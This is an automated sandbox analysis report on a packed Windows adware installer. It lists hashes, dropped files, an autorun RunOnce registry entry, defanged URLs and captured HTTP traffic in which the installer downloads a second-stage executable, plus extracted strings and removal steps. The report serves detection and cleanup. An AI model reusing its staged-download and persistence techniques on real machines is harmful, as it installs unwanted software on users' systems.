MD5: cd8fa2b9267480f91c4535548e452dd1
SHA1: a5504cd1a714de5dc2f578ae16f296b7df9ed501
SHA256: 763b19f24011844445e74a8e3012fd08b5f26ad14bd8f7583e90e85a59a5b436
SSDeep: 24576:b9ZglK8bi6kAVe15IMxNT/2C4HIPJXd y/pQEzDOtEHJp:xOlK8biYVevIMxNT/jEIPJsRE9H
Size: 1156396 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: ArcadeYum
Created at: 2009-12-06 00:50:52
Analyzed on: WindowsXP SP3 32-bit

Summary:

Adware. Delivers advertising content in a manner or context that may be unexpected and unwanted by users. Many adware applications also perform tracking functions. Users may want to remove adware if they object to such tracking, do not wish to see the advertising caused by the program or are frustrated by its effects on system performance.

Payload

No specific payload has been found.

Process activity

The not-a-virus creates the following process(es):

%original file name%.exe:224

The not-a-virus injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:224 makes changes in the file system.
The not-a-virus creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\setup.dll (17312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\b_setup.exe (7304 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\conf (113 bytes)

The not-a-virus deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NSISdl.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\conf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp (0 bytes)

Registry activity

The process %original file name%.exe:224 makes changes in the system registry.
The not-a-virus creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "32 34 39 CB 7F 32 B8 7D 34 54 76 E6 58 20 A5 E9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsq2.tmp\,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

To automatically run itself each time Windows is booted, the not-a-virus adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"KN Launcher v1.404" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\b_setup.exe"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 374
87af60575e95350381303447cd2e0d96
297ea80c532f1e653b6bfad9b0f5bdcb
c64333ff5aa15b72d05f9604fd5b650c
8bc5e8828e0f2dc2bc636874594512d0
15399070593f311505d112b9c4738605
6cad8969964bda9bf93648e4f8d842c4
bf9d2df7b005ab40b413f9eba9589b95
9462c92f54151d6f6faee759d0be457f
dd4634c10a37abc7eee65626c3f19cc7
2470a83a4efffe5d4f7832796432ea53
94f281f53ee0859ab9149c10edc88c92
a7b0dca6353427d531a8ce0b66b26a97
30aed6ed499070bc8e5e51d344c1a95a
8889fd1e4a22e8889acd6cb5f84a09ef
c685088f98412256f79b5543271e05ac
963c31e06f4225bd2429170fd3aff7a9
64c6973d72291eab7854539f30f9f6a1
45b35960177593434ca2b2ca6369937b
4a0d0f8af2e5d8c0e06cbfb912999f6c
4234d117dbf9631d6aedad5885379529
9aaf75732b4fc9ed9eedf9a2be53a5f3
2374b95b6959a23b52ac0cedb91f00ec
34576348082ca0f7ecf90f9c6c915bb2
d7d364e641aee1a451b06864d56071f6
927e35e041ef04c831591c2facfab7ec

URLs

URL	IP
hxxp://pe-wine.club/launch_reb.php?p=sevenzip&pid=1248&tid=3829454&b_typ=pe	46.21.100.248
hxxp://launch.keicraft.net/version.php	198.252.98.64
hxxp://launch.keicraft.net/disallowed.php	198.252.98.64
hxxp://d1gahxamcuu9d3.cloudfront.net/stub_maker.php?program=sevenzip&tid=3829454&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot
hxxp://tadly.fc-greed.website/stub_maker.php?program=sevenzip&tid=3829454&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot	54.230.200.248

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /launch_reb.php?p=sevenzip&pid=1248&tid=3829454&b_typ=pe HTTP/1.0

Host: pe-wine.club

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 03:45:36 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Content-Length: 113

Connection: close

Content-Type: text/html; charset=UTF-8
s=boot..u=hXXp://tadly.fc-greed.website/stub_maker.php?program=sevenzi
p&tid=3829454&pid=1248&b_typ=pe&reb=1&name=..

GET /stub_maker.php?program=sevenzip&tid=3829454&pid=1248&b_typ=pe&reb=1&name=&name=Windows Utilities&t=boot HTTP/1.0

Host: tadly.fc-greed.website

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: application/force-download

Content-Length: 80156

Connection: close

Server: Microsoft-IIS/7.5

X-Powered-By: PHP/5.3.28

Content-Disposition: attachment; filename="54e55c381d2f0.exe"

X-Powered-By: ASP.NET

Date: Thu, 19 Feb 2015 03:44:56 GMT

X-Cache: Miss from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: xRTnUgkS9D2z8ACa2VjeJfLEhBzeDYk5t83q-Jr-o3OTO38f50D4Wg==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z...........0.......p....@.........
.................................................................s....
.......@..............................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...@[email protected].
[email protected]..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..>[email protected].>[email protected]
...Pr@..}[email protected]... M.......M....3.....FQ.....NU..
M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...
[email protected]}[email protected].}.j.W.E......E.......Pp@.
[email protected]@.W...E..E.h [email protected]...\r
@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.
......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[...U.
<<< skipped >>>

GET /disallowed.php HTTP/1.1

User-Agent: Mozilla/4.76

Host: launch.keicraft.net

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 03:45:37 GMT

Server: LiteSpeed

Connection: close

X-Powered-By: PHP/5.3.29

Content-Type: text/html

Content-Length: 70
keiaxx.rushnett.thefluffywalrus.mrsfluffywalrus.viera_zhai.hellwind9o9
..

GET /version.php HTTP/1.1

User-Agent: Mozilla/4.76

Host: launch.keicraft.net

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2

Connection: keep-alive

HTTP/1.1 200 OK

Date: Thu, 19 Feb 2015 03:45:36 GMT

Server: LiteSpeed

Connection: close

X-Powered-By: PHP/5.3.29

Content-Type: text/html

Content-Length: 369
1.602..An update is available for the KeiNett Launcher (Now Shiginima)
!..hXXp://adfoc.us/24689750985770Launcher Website..hXXp://adfoc.us/246
8971..#NOTES..Line 1: The current latest version of the launcher...Lin
e 2: Text on the first line of the update notice...Line 3: The update 
location/url..Line 4: The button underneath logout..Line 5: The link t
he button goes to..

The not-a-virus connects to the servers at the folowing location(s):

.text

`.rdata

@.data

.rsrc

/Xusage.txt

-Djava.class.path=%s

Unable to locate JRE meeting specification "%s"

1.6.0_18-b07

JRE-Version = %s, JRE-Restrict-Search = %s Selected = %s

Syntax error in version specification "%s"

Invalid or corrupt jarfile %s

Unable to access jarfile %s

-Djava.awt.headless=

-Djava.awt.headless=true

option[-] = '%s'

ignoreUnrecognized is %s,

sun.jnu.encoding

isSupported

-Dsun.java.command=

-Dsun.java.launcher=SUN_STANDARD

A %c separated list of directories, JAR archives,

load Java programming language agent, see java.lang.instrument

The default VM is %s%s

is a synonym for the "%s" VM [deprecated]

to select the "%s" VM

Usage: %s [-options] class [args...]

(to execute a class)

or %s [-options] -jar jarfile [args...]

(to execute a jar file)

Can't open %s

Could not find the main class: %s. Program will exit.

Failed to load Main Class: %s

Could not find the main class: %s. Program will exit.

argv[-] = '%s'

Apps' argc is %d

Main-Class is '%s'

Warning: %s VM not supported; %s VM will be used

Error: %s VM not supported

Error: Unable to resolve VM alias %s

Error: Corrupt jvm.cfg file; cycle in alias list.

Default VM: %s

%s requires class path specification

%s full version "%s"

Warning: %s option is no longer supported.

-Xrunhprof:cpu=old,file=java.prof

-Xrunhprof:cpu=old,file=%s

%ld micro seconds to parse jvm.cfg

name: %s vmType: %s alias: %s

name: %s vmType: %s server_class: %s

jvm.cfg[%d] = ->%s<-

Warning: unknown VM type on line %d of `%s'

Warning: missing server class VM on line %d of `%s'

Warning: missing VM alias on line %d of `%s'

Warning: missing VM type on line %d of `%s'

Warning: no leading - on line %d of `%s'

Error: could not open `%s'

\jvm.cfg

\bin\splashscreen.dll

%s\jvm.dll

%s\bin\%s\jvm.dll

Version major.minor.micro = %s.%s

Failed reading value of registry key:

Software\JavaSoft\Java Runtime Environment\%s\JavaHome

Error opening registry key 'Software\JavaSoft\Java Runtime Environment\%s'

Registry key 'Software\JavaSoft\Java Runtime Environment\CurrentVersion'

has value '%s', but '1.6' is required.

Error opening registry key 'Software\JavaSoft\Java Runtime Environment'

-Dsun.java2d.opengl

-Dsun.java2d.d3d

-Dsun.java2d.noddraw

-Dsun.awt.warmup

Unable to resolve path to current %s executable: %s

CreateProcess(%s, ...) failed: %s

ReExec Args: %s

ReExec Command: %s (%s)

ExecJRE: new: %s

ExecJRE: old: %s

Error: could not find java.dll

JRE path is %s

%s\jre\bin\java.dll

%s\bin\java.dll

Error loading: %s

CRT path is %s

\bin\msvcr71.dll

EnsureJreInstallation:%s:load failed

\bin\jkernel.dll

EnsureJreInstallation:<%s>:not found

EnsureJreInstallation:unsupported platform

Error: can't find JNI interfaces in: %s

JVM path is %s

\bin\awt.dll

\bin\java.dll

\bin\verify.dll

Error: no `%s' JVM at `%s'.

Error: no known VMs. (check for corrupt jvm.cfg file)

before: "%s"

after : "%s"

META-INF/MANIFEST.MF

1.1.3

inflate 1.1.3 Copyright 1995-1998 Mark Adler

mscoree.dll

Broken pipe

Inappropriate I/O control operation

Operation not permitted

kernel32.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

GetProcessWindowStation

user32.dll

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

C:\BUILD_~1\jdk6_18\control\build\WINDOW~1\tmp\java\javaw\obj\javaw.pdb

RegCloseKey

RegOpenKeyExA

RegEnumKeyA

ADVAPI32.dll

USER32.dll

GetCPInfo

KERNEL32.dll

%Program Files%\Java\jre6\bin\javaw.exe

<assemblyIdentity version="6.0.180.7"

name="javaw.exe"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

3333333333330

333333333307

PP%d(jjjjj

6.0.180.7

javaw.exe

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   %original file name%.exe:224
   

2. Delete the original not-a-virus file.
   
3. Delete or disinfect the following files created/modified by the not-a-virus:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\setup.dll (17312 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\NSISdl.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\b_setup.exe (7304 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp\conf (113 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
   "KN Launcher v1.404" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\b_setup.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.